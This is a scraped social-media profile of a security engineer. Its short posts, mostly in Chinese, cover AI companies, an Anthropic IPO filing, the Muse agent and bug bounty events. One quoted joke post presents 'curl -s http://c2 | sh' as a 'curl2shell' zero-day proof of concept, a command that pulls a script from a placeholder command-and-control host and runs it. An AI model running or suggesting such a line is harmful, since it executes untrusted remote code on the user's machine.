tonghuaroot (@tonghuaroot) header
tonghuaroot (@tonghuaroot) profile picture

Staff Security Engineer · AI Agent & Infra Security · 140+ CVEs (Microsoft, Oracle, Apache, Anthropic) · cross-tenant sandbox RCE · CPython contributor · OSCP

Singapore
Joined February 2021
Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)Photo by tonghuaroot (@tonghuaroot)
Attackers also have managers and budgets.
12
2
88
6,105
谷歌一生一次的买入机会
5
254
达里奥:今天心情好 封几个中国用户助助兴
4
7
300
国产大模型的攻击能力要移除了 利好 CVP 和本地私有化部署的模型呀
6
1
23
4,497
现在已经快进到 kol 人手一个中转站了
2
10
934
嗑 cp 了
i bought a new domain too
264
ai 好用了之后大家都在闷声发大财了
6
5
1,135
openai 为 yubikey 的推广也是做了杰出的贡献
4
4
656
问 muse 几个问题,都是秒回,我怀疑他没有认真思考。
1
1
436
首富如是说道
Everyday is zero-day these days
5
568
你看我还有机会吗
看了下,应该很快可以进入下一轮抽奖了,所以干脆就直接放一起吧,感谢大家的支持! 规则不变,周三开奖的时候,名额变为两位。
2
349
a/ 马上 ipo,所以这俩老哥是高位套现离场了啊
发生了啥,一天时间好几个 Claude Code 的大佬都撤了
1
3
464
10 月 26 日,Anthropic 公开提交纳斯达克 IPO 申请,股票代码为「ANT」。
4
7
809
快来看看你的个人 AI 智能体 Muse 。在加入后的 48 小时内通过“设置”兑现我的邀请码,我们就能分别获得 10 亿个 Muse 词元。 邀请码:W41DH8 muse.ai/join
246
竟然还有卖 muse 成品号这种业务
3
1
966
谁还记得这个吗
4
1
3
1,420
Google Bugswat 看着蛮好玩,是邀请制吗
I got second overall at the Google Bugswat in Singapore!! 🎉☺️ It was a talented group of almost 50 hackers so I am really proud of the findings and thankful to have been invited!
2
413
楽
🚨New 0day inbound, curl2shell🚨 Can compromise any Linux host. Potentially 70% of the internet is affected. Tweet-able PoC: 𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑 Can’t be patched
1
2
532
还记得老马早年搞的 @DOGE 政府效率部吗 怎么没动静了
5
1
806
现在 ai startup 都在 x 上招聘 一片欣欣向荣
2
378